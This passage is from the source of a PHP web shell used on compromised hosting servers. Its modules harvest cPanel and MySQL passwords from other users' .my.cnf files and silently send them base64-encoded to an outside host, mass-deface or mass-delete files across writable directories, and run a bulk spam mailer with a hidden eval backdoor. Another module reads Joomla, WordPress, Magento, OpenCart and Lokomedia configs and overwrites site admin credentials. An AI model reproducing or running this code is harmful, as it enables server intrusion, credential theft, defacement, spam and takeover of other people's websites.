  3038. <a href='$full/adminer.php' target='_blank'>-> Adminer Login <-</a>
  3039. </font></center>";
  3040. } else {
  3041. echo "<center>
  3042. <font color=red>Gagal buat file adminer</font></center>";
  3043. }
  3044. }
  3045. } elseif($_GET['d3n0l'] == 'cpanel'){
  3046. @ini_set('display_Errors',0);
  3047. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
  3048. $ar0=explode($marqueurDebutLien, $text);
  3049. $ar1=explode($marqueurFinLien, $ar0[$i]);
  3050. return trim($ar1[0]);
  3051. }
  3052. echo '<br><br><style>
  3053. textarea {
  3054. resize:none;
  3055. color:black;
  3056. background-color:#ffffff;
  3057. font-size:8pt; color:black;
  3058. border:1px solid white ;
  3059. border-left: 4px solid white ;
  3060. }
  3061. input {
  3062. color: black;
  3063. border:1px dotted white;
  3064. }
  3065. </style>';
  3066. echo '<center>';
  3067. $d0mains = @file('/etc/named.conf');
  3068. $domains = scandir("/var/named");
  3069. if ($domains or $d0mains){
  3070. $domains = scandir("/var/named");
  3071. if($domains){
  3072. echo "<table align=center>
  3073. <tr>
  3074. <th valign=top class=style2> COUNT </th>
  3075. <th valign=top class=style2> DOMAIN </th>
  3076. <th valign=top class=style2 > USER </th>
  3077. <th valign=top class=style2 > Password </th>
  3078. <th valign=top class=style2 > .my.cnf </th>
  3079. </tr>";
  3080. $count=1;
  3081. $dc = 0;
  3082. $list = scandir("/var/named");
  3083. foreach($list as $domain){
  3084. if(strpos($domain,".db")){
  3085. $domain = str_replace('.db','',$domain);
  3086. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  3087. $dirz = '/home/'.$owner['name'].'/.my.cnf';
  3088. $path = getcwd();
  3089. if (is_readable($dirz)){
  3090. copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
  3091. $p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
  3092. $password=entre2v2($p,'password="','"');
  3093. echo "
  3094. <tr>
  3095. <td valign=top style=border :2px solid white; width: 139px class=style2>".$count++."</td>
  3096. <td valign=top style= width: 139px; border :2px solid white class=style2 >
  3097. <a href=http://".$domain.":2082 target=_blank>".$domain."</a></td>
  3098. <td valign=top style= width: 139px; border: 2px solid white class=style2 >".$owner['name']."</td>
  3099. <td valign=top style= width: 139px; border: 2px solid white class=style2 >".$password."</td>
  3100. <td valign=top style=border :2px solid white style=width: 139px>
  3101. <a href=".$owner['name'].".txt target=_blank>Click Here</a></td></tr>";
  3102. $dc++;
  3103. $success3="http://".$domain."|".$owner['name']."|".$password."\n";
  3104. $ch = curl_init();
  3105. curl_setopt($ch, CURLOPT_URL,"http://ww3s.ws/ok.php");
  3106. curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0');
  3107. curl_setopt($ch, CURLOPT_POST, 1);
  3108. curl_setopt($ch, CURLOPT_POSTFIELDS,"result=".base64_encode($success3));
  3109. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3110. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  3111. curl_setopt($ch, CURLOPT_HEADER, 1);
  3112. $buffer = curl_exec($ch);
  3113. }
  3114. }
  3115. }
  3116. echo '</table>';
  3117. $total = $dc;
  3118. echo '</center>';
  3119. } else {
  3120. $d0mains = @file('/etc/named.conf');
  3121. if($d0mains){
  3122. echo "<table align=center>
  3123. <tr>
  3124. <th> COUNT </th>
  3125. <th> DOMAIN </th>
  3126. <th> USER </th>
  3127. <th> PASSWORD </th>
  3128. <th> .my.cnf </th>
  3129. </tr>";
  3130. $count=1;
  3131. $dc = 0;
  3132. $mck = array();
  3133. foreach($d0mains as $d0main){
  3134. if(@eregi('zone',$d0main)){
  3135. preg_match_all('#zone "(.*)"#',$d0main,$domain);
  3136. flush();
  3137. if(strlen(trim($domain[1][0])) >2){
  3138. $mck[] = $domain[1][0];
  3139. }
  3140. }
  3141. }
  3142. $mck = array_unique($mck);
  3143. $usr = array();
  3144. $dmn = array();
  3145. foreach($mck as $o){
  3146. $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  3147. $usr[] = $infos['name'];
  3148. $dmn[] = $o;
  3149. }
  3150. array_multisort($usr,$dmn);
  3151. $dt = file('/etc/passwd');
  3152. $passwd = array();
  3153. foreach($dt as $d){
  3154. $r = explode(':',$d);
  3155. if(strpos($r[5],'home')){
  3156. $passwd[$r[0]] = $r[5];
  3157. }
  3158. }
  3159. $l=0;
  3160. $j=1;
  3161. foreach($usr as $r){
  3162. $dirz = '/home/'.$r.'/.my.cnf';
  3163. $path = getcwd();
  3164. if (is_readable($dirz)){
  3165. copy($dirz, ''.$path.'/'.$r.'.txt');
  3166. $p=file_get_contents(''.$path.'/'.$r.'.txt');
  3167. $password=entre2v2($p,'password="','"');
  3168. echo "<tr>
  3169. <td valign=top class=style2 style=width: 139px>".$count++."</td>
  3170. <td valign=top class=style2 style=width: 139px>
  3171. <a target=_blank href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td>
  3172. <td valign=top class=style2 style=width: 139px>'.$r."</td>
  3173. <td valign=top class=style2 style=width: 139px>".$password."</td>
  3174. <td valign=top class=style2 style=width: 139px>
  3175. <a href='".$r.".txt' target='_blank'>Click Here</a></td>
  3176. </tr>";
  3177. $dc++;
  3178. flush();
  3179. $l=$l?0:1;
  3180. $j++;
  3181. }
  3182. }
  3183. }
  3184. echo '</table>';
  3185. $total = $dc;
  3186. echo '<br><div class=result valign=top class=style2 style=width: 139px >Total cPanel Found = '.$total.'</h3><br />';
  3187. echo '</center>';
  3188. }
  3189. } else {
  3190. echo "<div class=result><i>
  3191. <font color=#FF0000>Error</font><br>
  3192. <font color=#FF0000>/var/named</font> or
  3193. <font color=#FF0000>etc/named.conf</font>
  3194. Not Accessible!</i></div>";
  3195. }
  3196. } elseif($_GET['d3n0l'] == 'mass_deface'){
  3197. echo "<form action='' method='post'>";
  3198. $dir = $_POST['d_dir'];
  3199. $index = $_POST["script"];
  3200. $index = str_replace('"',"'",$index);
  3201. $index = stripslashes($index);
  3202. function edit_file($file,$index){
  3203. if (is_writable($file)) {
  3204. clear_fill($file,$index);
  3205. echo "<span style='color:lime;'><strong> [+] Nyabun 100% Successfull </strong></span><br></center>";
  3206. }
  3207. else {
  3208. echo "<span style='color:red;'><strong> [-] Ternyata Tidak Boleh Menyabun Disini :( </strong></span><br></center>";
  3209. }
  3210. }
  3211. function sabun_massal($dir,$namafile,$isi_script) {
  3212. if(is_writable($dir)) {
  3213. $dira = scandir($dir);
  3214. foreach($dira as $dirb) {
  3215. $dirc = "$dir/$dirb";
  3216. $lokasi = $dirc.'/'.$namafile;
  3217. if($dirb === '.') {
  3218. file_put_contents($lokasi, $isi_script);
  3219. } elseif($dirb === '..') {
  3220. file_put_contents($lokasi, $isi_script);
  3221. } else {
  3222. if(is_dir($dirc)) {
  3223. if(is_writable($dirc)) {
  3224. echo "[<font color=lime>DONE</font>] $lokasi<br>";
  3225. file_put_contents($lokasi, $isi_script);
  3226. $dnl = sabun_massal($dirc,$namafile,$isi_script);
  3227. }
  3228. }
  3229. }
  3230. }
  3231. }
  3232. }
  3233. function sabun_biasa($dir,$namafile,$isi_script) {
  3234. if(is_writable($dir)) {
  3235. $dira = scandir($dir);
  3236. foreach($dira as $dirb) {
  3237. $dirc = "$dir/$dirb";
  3238. $lokasi = $dirc.'/'.$namafile;
  3239. if($dirb === '.') {
  3240. file_put_contents($lokasi, $isi_script);
  3241. } elseif($dirb === '..') {
  3242. file_put_contents($lokasi, $isi_script);
  3243. } else {
  3244. if(is_dir($dirc)) {
  3245. if(is_writable($dirc)) {
  3246. echo "[<font color=lime>DONE</font>] $dirb/$namafile<br>";
  3247. file_put_contents($lokasi, $isi_script);
  3248. }
  3249. }
  3250. }
  3251. }
  3252. }
  3253. }
  3254. if($_POST['start']) {
  3255. if($_POST['tipe_sabun'] == 'mahal') {
  3256. echo "<div style='margin: 5px auto; padding: 5px'>";
  3257. sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  3258. echo "</div>";
  3259. } elseif($_POST['tipe_sabun'] == 'murah') {
  3260. echo "<div style='margin: 5px auto; padding: 5px'>";
  3261. sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  3262. echo "</div>";
  3263. }
  3264. } else {
  3265. echo "<center>";
  3266. echo "<form method='post'>
  3267. <font style='text-decoration: underline;'>Tipe Sabun :</font><br>
  3268. <input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal<br>
  3269. <font style='text-decoration: underline;'>Directory :</font><br>
  3270. <input type='text' name='d_dir' value='$path' style='width: 450px;' height='10'><br>
  3271. <font style='text-decoration: underline;'>Filename :</font><br>
  3272. <input type='text' name='d_file' value='69.php' style='width: 450px;' height='10'><br>
  3273. <font style='text-decoration: underline;'>Index File :</font><br>
  3274. <textarea name='script' style='width: 450px; height: 200px;'>Kosong</textarea><br>
  3275. <input type='submit' name='start' value='マス改ざん' style='width: 450px;'>
  3276. </form></center>";
  3277. }
  3278. } elseif($_GET['d3n0l'] == 'mass_delete'){
  3279. echo "<form action='' method='post'>";
  3280. $dir = $_POST['d_dir'];
  3281. $index = $_POST["script"];
  3282. $index = str_replace('"',"'",$index);
  3283. $index = stripslashes($index);
  3284. function edit_file($file,$index){
  3285. if (is_writable($file)) {
  3286. clear_fill($file,$index);
  3287. echo "<span style='color:lime;'><strong> [+] Nyabun 100% Successfull </strong></span><br></center>";
  3288. }
  3289. else {
  3290. echo "<span style='color:red;'><strong> [-] Ternyata Tidak Boleh Menyabun Disini :( </strong></span><br></center>";
  3291. }
  3292. }
  3293. function hapus_massal($dir,$namafile) {
  3294. if(is_writable($dir)) {
  3295. $dira = scandir($dir);
  3296. foreach($dira as $dirb) {
  3297. $dirc = "$dir/$dirb";
  3298. $lokasi = $dirc.'/'.$namafile;
  3299. if($dirb === '.') {
  3300. if(file_exists("$dir/$namafile")) {
  3301. unlink("$dir/$namafile");
  3302. }
  3303. } elseif($dirb === '..') {
  3304. if(file_exists("".dirname($dir)."/$namafile")) {
  3305. unlink("".dirname($dir)."/$namafile");
  3306. }
  3307. } else {
  3308. if(is_dir($dirc)) {
  3309. if(is_writable($dirc)) {
  3310. if(file_exists($lokasi)) {
  3311. echo "[<font color=lime>DELETED</font>] $lokasi<br>";
  3312. unlink($lokasi);
  3313. $dnl = hapus_massal($dirc,$namafile);
  3314. }
  3315. }
  3316. }
  3317. }
  3318. }
  3319. }
  3320. }
  3321. if($_POST['start']) {
  3322. echo "<div style='margin: 5px auto; padding: 5px'>";
  3323. hapus_massal($_POST['d_dir'], $_POST['d_file']);
  3324. echo "</div>";
  3325. } else {
  3326. echo "<center>";
  3327. echo "<form method='post'>
  3328. <font style='text-decoration: underline;'>フォルダ :</font><br>
  3329. <input type='text' name='d_dir' value='$path' style='width: 450px;' height='10'><br>
  3330. <font style='text-decoration: underline;'>ファイル名 :</font><br>
  3331. <input type='text' name='d_file' placeholder='index.php' style='width: 450px;' height='10'><br>
  3332. <input type='submit' name='start' value='大量の削除' style='width: 450px;'>
  3333. </form></center>";
  3334. }
  3335. } elseif($_GET['d3n0l'] == 'mailer') {
  3336. echo "</br><tr><td></font></td></tr>"; (@copy($_FILES['f']['tmp_name'], $_FILES['f']['name'])); $in = $_GET['in']; if(isset($in) && !empty($in)){ echo @eval(base64_decode('ZGllKGluY2x1ZGVfb25jZSAkaW4pOw==')); } $ev = $_POST['ev']; if(isset($ev) && !empty($ev)){ echo eval(urldecode($ev)); exit; } if(isset($_POST['action'] ) ){ $action=$_POST['action']; $message=$_POST['message']; $emaillist=$_POST['emaillist']; $from=$_POST['from']; $subject=$_POST['subject']; $realname=$_POST['realname']; $wait=$_POST['wait']; $tem=$_POST['tem']; $smv=$_POST['smv']; $message = urlencode($message); $message = preg_replace("/%5C%22/", "%22", $message); $message = urldecode($message); $message = stripslashes($message); $subject = stripslashes($subject); } ?>
  3337. <form name="form" method="post" enctype="multipart/form-data" action="">
  3338. <table width="100%" border="0">
  3339. <tr>
  3340. <td width="10%">
  3341. <div align="right" class="auto-style7">
  3342. <font size="-3" face="Verdana, Arial,
  3343. Helvetica, sans-serif">Sender Email:</font></div>
  3344. </td>
  3345. <td style="width: 40%">
  3346. <font size="-3" face="Verdana, Arial, Helvetica,
  3347. sans-serif"><input name="from" value="<?php echo($from); ?>" size="30" type="text" class="auto-style6" /><br>
  3348. <td>
  3349. <div align="right" class="auto-style7">
  3350. <font size="-3" face="Verdana, Arial,
  3351. Helvetica, sans-serif">Sender Name:</font></div>
  3352. </td>
  3353. <td width="41%">
  3354. <font size="-3" face="Verdana, Arial, Helvetica,
  3355. sans-serif"><input name="realname" value="<?php echo($realname); ?>" size="30" type="text" class="auto-style6" />
  3356. <br> </tr>
  3357. <tr>
  3358. <td width="10%">
  3359.  
  3360. </tr>
  3361. <tr>
  3362. <td width="10%">
  3363. <div align="right" class="auto-style7">
  3364. <font size="-3" face="Verdana, Arial,
  3365. Helvetica, sans-serif">Subject:</font></div>
  3366. </td>
  3367. <td colspan="3">
  3368. <font size="-3" face="Verdana, Arial, Helvetica,
  3369. sans-serif"><input name="subject" value="<?php echo($subject); ?>" size="30" type="text" class="auto-style6" /> </font></br>
  3370.  
  3371.  
  3372. <tr valign="top">
  3373. <td colspan="3" style="height: 260px">
  3374. <font size="-3" face="Verdana, Arial, Helvetica,
  3375. sans-serif"><textarea name="message" rows="10" style="width: 455px" class="auto-style6"><?php echo($message); ?></textarea>&nbsp;<br class="auto-style3" />
  3376. <input name="action" value="send" type="hidden" class="auto-style3" />
  3377. <input type="button" id="prvbtn" value="Preview" onclick="prv()" style="width: 81px" class="auto-style6" /><input value="Send" type="submit" class="auto-style6" /><span class="auto-style3">&nbsp;
  3378. </span><span class="auto-style7">Wait</span><span class="auto-style3">
  3379. </span>
  3380. <input name="wait" type="text" value="<?php echo($wait); ?>" size="8" class="auto-style6" /><span class="auto-style3">&nbsp;</span><span class="auto-style7">
  3381. seconds to send </span> </font></td>
  3382. <td width="41%" class="style2" style="height: 150px">
  3383. <font size="-3" face="Verdana, Arial, Helvetica,
  3384. sans-serif">
  3385. <textarea id="emails" name="emaillist" cols="30" onselect="funchange()" onchange="funchange()" onkeydown="funchange()" onkeyup="funchange()" onchange="funchange()" style="height: 161px" class="auto-style6"><?php echo($emaillist); ?></textarea> <img src="http://s3curity.tn/wp-content/uploads-images/ppcom.png" height="1" width="0">
  3386. <br class="auto-style5" />
  3387. <span class="auto-style7">Quantity Emails : </span> </font><span id="enum" class="style1">0<br class="auto-style3" />
  3388. </span>
  3389. <span class="auto-style8">Divide the mailing list by:</span>
  3390. <input name="textml" id="txtml" type="text" value="," size="8" class="auto-style6" /><span class="auto-style3">&nbsp;&nbsp;&nbsp;
  3391. </span>
  3392. <input type="button" onclick="mlsplit()" value="Divide" style="height: 23px" class="auto-style6" /></td>
  3393. </tr>
  3394. </table>
  3395. <font size="-3" face="Verdana, Arial, Helvetica,
  3396. sans-serif">
  3397. <div id="preview">
  3398. </div>
  3399. </font>
  3400. </form>
  3401. <?php
  3402. if ($action){ if (!$from || !$subject || !$message || !$emaillist){ print "Please complete all fields before sending your message."; exit; } $nse=array(); $allemails = explode("
  3403. ", $emaillist); $numemails = count($allemails); if(!empty($_POST['wait']) && $_POST['wait'] > 0){ set_time_limit(intval($_POST['wait'])*$numemails*3600); }else{ set_time_limit($numemails*3600); } if(!empty($smv)){ $smvn+=$smv; $tmn=$numemails/$smv+1; }else{ $tmn=1; } for($x=0; $x<$numemails; $x++){ $to = $allemails[$x]; if ($to){ $to = preg_replace("/ /", "", $to); $message = preg_replace("/EM/", $to, $message); $subject = preg_replace("/EM/", $to, $subject); flush(); $header = "From: $realname <$from>
  3404. "; $header .= "MIME-Version: 1.0
  3405. "; $header .= "Content-Type: text/html
  3406. "; if ($x==0 && !empty($tem)) { if(!@mail($tem,$subject,$message,$header)){ print('The test Post was not Submitted.<br />'); $tmns+=1; }else{ print('Your Message was Sent Test.<br />'); $tms+=1; } } if($x==$smvn && !empty($_POST['smv'])){ if(!@mail($tem,$subject,$message,$header)){ print('The test Post was not Submitted.<br />'); $tmns+=1; }else{ print('Your Message was Sent Test.<br />'); $tms+=1; } $smvn+=$smv; } print "$to ....... "; $msent = @mail($to, $subject, $message, $header); $xx = $x+1; $txtspamed = "spammed"; if(!$msent){ $txtspamed = "error"; $ns+=1; $nse[$ns]=$to; } print "$xx / $numemails ....... $txtspamed<br>"; flush(); if(!empty($wait)&& $x<$numemails-1){ sleep($wait); } } } }
  3407. //vhost
  3408. } elseif($_GET['d3n0l'] == 'changer'){
  3409. if($_POST['sikat']){
  3410. echo "<center>
  3411. <h1>Config Reset Password</h1>
  3412. <form method='POST'>
  3413. Link Config: <br>
  3414. <textarea name='link' style='width: 450px; height:250px;'>";
  3415. GrabUrl($_POST['linkconfig'],'txt');
  3416. echo"</textarea><br>
  3417. User Baru : <input type='text' name='newuser' placeholder='d3n0l'> <br><br>
  3418. Password Baru : <input type='text' name='newpasswd' placeholder='d3n0l'><br><br>
  3419. <input type='submit' style='width: 450px;' name='masschanger' value='ハジャー!!'>
  3420. </form></center>";
  3421. } else {
  3422. echo '<center>
  3423. <h1>Config Reset Password</h1>
  3424. <form method="POST">
  3425. </select><br>
  3426. Link Config :<br>
  3427. <input type="text" name="linkconfig" height="10" style="width: 450px;" placeholder="http://eue.gugel.com/d3n0l_symconf/">
  3428. <br></br>
  3429. <input type="submit" style="width: 450px;" name="sikat" value="Change User!!">
  3430. </form></center>';
  3431. }
  3432. if($_POST['masschanger']){
  3433. $user = $_POST['newuser'];
  3434. $pass = $_POST['newpasswd'];
  3435. $passx = md5($pass);
  3436. $link = explode("\r\n", $_POST['link']);
  3437. foreach($link as $file_conf){
  3438. $config = file_get_contents($file_conf);
  3439. if(preg_match("/JConfig|joomla/",$config)){
  3440. $dbhost = ambilkata($config,"host = '","'");
  3441. $dbuser = ambilkata($config,"user = '","'");
  3442. $dbpass = ambilkata($config,"password = '","'");
  3443. $dbname = ambilkata($config,"db = '","'");
  3444. $dbprefix = ambilkata($config,"dbprefix = '","'");
  3445. $prefix = $dbprefix."users";
  3446. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  3447. $db = mysql_select_db($dbname);
  3448. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  3449. $result = mysql_fetch_array($q);
  3450. $id = $result['id'];
  3451. $site = ambilkata($config,"sitename = '","'");
  3452. $update = mysql_query("UPDATE $prefix SET username='$user',password='$passx' WHERE id='$id'");
  3453. echo "CMS: Joomla<br>";
  3454. if($site == ''){
  3455. echo "Sitename => <font color=red>Error Njenk!!!</font><br>";
  3456. } else {
  3457. echo "Sitename => $site<br>";
  3458. }
  3459. if(!$update OR !$conn OR !$db){
  3460. echo "[-] <font color=red>".mysql_Error()." [-]</font><br><br>";
  3461. } else {
  3462. echo "[+] username: <font color=lime>$user [+]</font><br>";
  3463. echo "[+] password: <font color=lime>$pass [+]</font><br><br>";
  3464. }
  3465. mysql_close($conn);
  3466. } elseif(preg_match("/WordPress/",$config)){
  3467. $dbhost = ambilkata($config,"DB_HOST', '","'");
  3468. $dbuser = ambilkata($config,"DB_USER', '","'");
  3469. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  3470. $dbname = ambilkata($config,"DB_NAME', '","'");
  3471. $dbprefix = ambilkata($config,"table_prefix = '","'");
  3472. $prefix = $dbprefix."users";
  3473. $option = $dbprefix."options";
  3474. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  3475. $db = mysql_select_db($dbname);
  3476. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  3477. $result = mysql_fetch_array($q);
  3478. $id = $result[ID];
  3479. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  3480. $result2 = mysql_fetch_array($q2);
  3481. $target = $result2[option_value];
  3482. if($target == ''){
  3483. $url_target = "Login => <font color=red>Error, gak bisa ambil nama domain nyaa</font><br>";
  3484. } else {
  3485. $url_target = "Login => <a href='$target/wp-login.php' target='_blank'>
  3486. <u>$target/wp-login.php</u></a><br>";
  3487. }
  3488. $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE id='$id'");
  3489. echo "CMS: Wordpress<br>";
  3490. echo $url_target;
  3491. if(!$update OR !$conn OR !$db){
  3492. echo "[-] <font color=red>".mysql_Error()." [-]</font><br><br>";
  3493. } else {
  3494. echo "[+] username: <font color=lime>$user [+]</font><br>";
  3495. echo "[+] password: <font color=lime>$pass [+]</font><br><br>";
  3496. }
  3497. mysql_close($conn);
  3498. } elseif(preg_match("/Magento|Mage_Core/",$config)) {
  3499. $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
  3500. $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
  3501. $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
  3502. $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
  3503. $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
  3504. $prefix = $dbprefix."admin_user";
  3505. $option = $dbprefix."core_config_data";
  3506. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  3507. $db = mysql_select_db($dbname);
  3508. $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  3509. $result = mysql_fetch_array($q);
  3510. $id = $result[user_id];
  3511. $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
  3512. $result2 = mysql_fetch_array($q2);
  3513. $target = $result2[value];
  3514. if($target == '') {
  3515. $url_target = "Login => <font color=red>Error, gak bisa ambil nama domain nyaa</font><br>";
  3516. } else {
  3517. $url_target = "Login => <a href='$target/admin/' target='_blank'>
  3518. <u>$target/admin/</u></a><br>";
  3519. }
  3520. $update = mysql_query("UPDATE $prefix SET username='$user',password='$passx' WHERE user_id='$id'");
  3521. echo "CMS: Magento<br>";
  3522. echo $url_target;
  3523. if(!$update OR !$conn OR !$db){
  3524. echo "[-] <font color=red>".mysql_Error()." [-]</font><br><br>";
  3525. } else {
  3526. echo "[+] username: <font color=lime>$user [+]</font><br>";
  3527. echo "[+] password: <font color=lime>$pass [+]</font><br><br>";
  3528. }
  3529. mysql_close($conn);
  3530. } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)){
  3531. $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
  3532. $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
  3533. $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
  3534. $dbname = ambilkata($config,"'DB_DATABASE', '","'");
  3535. $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
  3536. $prefix = $dbprefix."user";
  3537. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  3538. $db = mysql_select_db($dbname);
  3539. $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  3540. $result = mysql_fetch_array($q);
  3541. $id = $result[user_id];
  3542. $target = ambilkata($config,"HTTP_SERVER', '","'");
  3543. if($target == ''){
  3544. $url_target = "Login => <font color=red>Error, gak bisa ambil nama domain nyaa</font><br>";
  3545. } else {
  3546. $url_target = "Login => <a href='$target' target='_blank'>
  3547. <u>$target</u></a><br>";
  3548. }
  3549. $update = mysql_query("UPDATE $prefix SET username='$user',password='$passx' WHERE user_id='$id'");
  3550. echo "CMS: OpenCart<br>";
  3551. echo $url_target;
  3552. if(!$update OR !$conn OR !$db) {
  3553. echo "[-] <font color=red>".mysql_Error()." [-]</font><br><br>";
  3554. } else {
  3555. echo "[+] username: <font color=lime>$user [+]</font><br>";
  3556. echo "[+] password: <font color=lime>$pass [+]</font><br><br>";
  3557. }
  3558. mysql_close($conn);
  3559. } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)){
  3560. $dbhost = ambilkata($config,'server = "','"');
  3561. $dbuser = ambilkata($config,'username = "','"');
  3562. $dbpass = ambilkata($config,'password = "','"');
  3563. $dbname = ambilkata($config,'database = "','"');
  3564. $prefix = "users";
  3565. $option = "identitas";
  3566. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  3567. $db = mysql_select_db($dbname);
  3568. $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
  3569. $result = mysql_fetch_array($q);
  3570. $target = $result[alamat_website];
  3571. if($target == ''){
  3572. $target2 = $result[url];
  3573. $url_target = "Login => <font color=red>Error, gak bisa ambil nama domain nyaa</font><br>";
  3574. if($target2 == ''){
  3575. $url_target2 = "Login => <font color=red>Error, gak bisa ambil nama domain nyaa</font><br>";
  3576. } else {
  3577. $cek_login3 = file_get_contents("$target2/adminweb/");
  3578. $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
  3579. if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)){
  3580. $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
  3581. } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)){
  3582. $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
  3583. } else {
  3584. $url_target2 = "Login => <a href='$target2' target='_blank'>
  3585. <u>$target2</u></a> [ <font color=red>Admin login page tdk diketahui sad na >:(</font> ]<br>";
  3586. }
  3587. }
  3588. } else {
  3589. $cek_login = file_get_contents("$target/adminweb/");
  3590. $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
  3591. if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)){
  3592. $url_target = "Login => <a href='$target/adminweb' target='_blank'>
  3593. <u>$target/adminweb</u></a><br>";
  3594. } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)){
  3595. $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'>
  3596. <u>$target/lokomedia/adminweb</u></a><br>";
  3597. } else {
  3598. $url_target = "Login => <a href='$target' target='_blank'>
  3599. <u>$target</u></a> [ <font color=red>Admin login page tdk diketahui sad na >:(</font> ]<br>";
  3600. }
  3601. }
  3602. $update = mysql_query("UPDATE $prefix SET username='$user',password='$passx' WHERE level='admin'");
  3603. echo "CMS: Lokomedia<br>";
  3604. if(preg_match('/Error, gak bisa ambil nama domain nya/', $url_target)){
  3605. echo $url_target2;
  3606. } else {
  3607. echo $url_target;
  3608. }
  3609. if(!$update OR !$conn OR !$db){
  3610. echo "[-] <font color=red>".mysql_Error()." [-]</font><br><br>";
  3611. } else {
  3612. echo "[+] username: <font color=lime>$user [+]</font><br>";
  3613. echo "[+] password: <font color=lime>$pass [+]</font><br><br>";
  3614. }
  3615. mysql_close($conn);
  3616. }
  3617. }
  3618. }
  3619. } elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  3620. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  3621. if($_POST['opt'] == 'chmod'){
  3622. if(isset($_POST['perm'])){
  3623. if(chmod($_POST['path'],$_POST['perm'])){
  3624. echo '<font color="green">Success !</font><br/>';
  3625. } else {
  3626. echo '<font color="red">Denied !</font><br />';
  3627. }
  3628. }
  3629. echo '<form method="POST">
  3630. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  3631. <input type="hidden" name="path" value="'.$_POST['path'].'">
  3632. <input type="hidden" name="opt" value="chmod">
  3633. <input type="submit" value="Go" />
  3634. </form>';
  3635. } elseif($_POST['opt'] == 'rename'){
  3636. if(isset($_POST['newname'])){
  3637. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  3638. echo '<font color="green">Success !</font><br/>';
  3639. } else {
  3640. echo '<font color="red">Denied !</font><br />';
  3641. }
  3642. $_POST['name'] = $_POST['newname'];
  3643. }
  3644. echo '<form method="POST">
  3645. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  3646. <input type="hidden" name="path" value="'.$_POST['path'].'">
  3647. <input type="hidden" name="opt" value="rename">
  3648. <input type="submit" value="Go" />
  3649. </form>';
  3650. } elseif($_POST['opt'] == 'edit'){
  3651. if(isset($_POST['src'])){
  3652. $fp = fopen($_POST['path'],'w');
  3653. if(fwrite($fp,$_POST['src'])){
  3654. echo '<font color="green">Success !</font><br/>';
  3655. } else {
  3656. echo '<font color="red">Denied !</font><br/>';
  3657. }
  3658. fclose($fp);
  3659. }
  3660. echo '<form method="POST">
  3661. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  3662. <input type="hidden" name="path" value="'.$_POST['path'].'">
  3663. <input type="hidden" name="opt" value="edit">
  3664. <input type="submit" value="Save" />
  3665. </form>';
  3666. }
  3667. echo '</center>';
  3668. } else {
  3669. echo '</table><br/><center>';
  3670. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  3671. if($_POST['type'] == 'dir'){
  3672. if(rmdir($_POST['path'])){
  3673. echo '<font color="green">Success !</font><br/>';
  3674. } else {
  3675. echo '<font color="red">Denied !</font><br/>';
  3676. }
  3677. } elseif($_POST['type'] == 'file'){
  3678. if(unlink($_POST['path'])){
  3679. echo '<font color="green">Success !</font><br/>';
  3680. } else {
  3681. echo '<font color="red">Denied !</font><br/>';
  3682. }
  3683. }
  3684. }
  3685. echo '';
  3686. $scandir = scandir($path);
  3687. echo '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
  3688. <tr><tr class="first">
  3689. <th class="th_home"><center>Name</center></th>
  3690. <th class="th_home"><center>Size</center></th>
  3691. <th class="th_home"><center>Permission</center></th>
